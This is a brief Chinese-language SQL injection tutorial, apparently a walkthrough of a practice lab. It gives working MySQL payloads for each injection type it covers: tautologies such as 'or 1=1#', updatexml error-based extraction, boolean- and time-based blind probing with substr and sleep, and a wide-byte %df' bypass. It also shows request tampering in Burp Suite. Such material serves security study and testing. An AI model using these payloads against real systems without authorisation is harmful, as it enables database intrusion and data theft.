常见注入点类型
MySQL服务器支持的三种注释:
“#” “--” “/*”
数字型注入(post)
我们随便查询一个数字信息,用burpsuite抓包
将post包转发到repeater,然后我们修改id值为 5 or 1=1,我们就得到了数据库所有信息
字符型注入(get)
我们直接输入kobe' or 1=1#,单引号用来闭合,#用来注释后边的内容
搜索性注入
在输入框汇中输入xxxx%' or 1=1 #(为了闭合'%%')
XX型注入
在输入框中输入xxxx') or 1=1#(为了闭合'()')
insert/update注入
insert:
我们选择注册一个账号,在框中输入li' or updatexml(1,concat(0x7e,version()),0) or '(第一个单引号为了闭合前边,后边的单引号为了闭合后边内容,我们主要是看version()这个位置是什么内容,就会报错返回我们要的内容)
update:
注册完之后登录,在第一个输入框中输入一样的payload即可
delete注入
我们再留言板随便输入一个内容,再删除之后用burpsuite抓包,发送到repeater
将id改为1 or updatexml(1,concat(0x7e,version()),0)
应为是在url里面进行的改写,所以我们还要将加入的部分进行编码
运行之后就得到了版本信息
http header 注入
根据提示信息登录用户,并进行抓包
我们把U - A信息换成',看到报错信息知道存在注入
我们就可以上传一个payload为fir' or updatexml(1,concat(0x7e,version()),0) or '(单引号前的内容随意),我们就得到了爆破的版本信息
盲注(base on boolian)
在输入框中输入kobe' and 1=1#可以得到kobe返回信息
在输入框中输入kobe' and 1=2#会显示不存在
在输入框中输入kobe' and ascii(substr(database(),1,1))>113#(如果and后面的成立则返回kebe的信息,后边代码的意思是返回出的database信息第一个字符大于ascii码的113值,以此类推测出database信息),经过测试kobe' and ascii(substr(database(),1,1))=112#为正确
盲注(base on time)
我们在输入框中输入kobe' and sleep(6)#发现浏览器会耗时将近六秒才会更新,所以我们可以根据反映的时间来判断命令是否正确
我们在输入框中输入kobe' and if((substr(database(),1,1))='p',sleep(6),null)#(如果database信息第一个字符是p那么浏览器就延迟六秒更新)
宽字节注入
在输入框中随意输入信息,然后抓包发送到repeater,将name改为1%df'or 1=1#,可以得到回显信息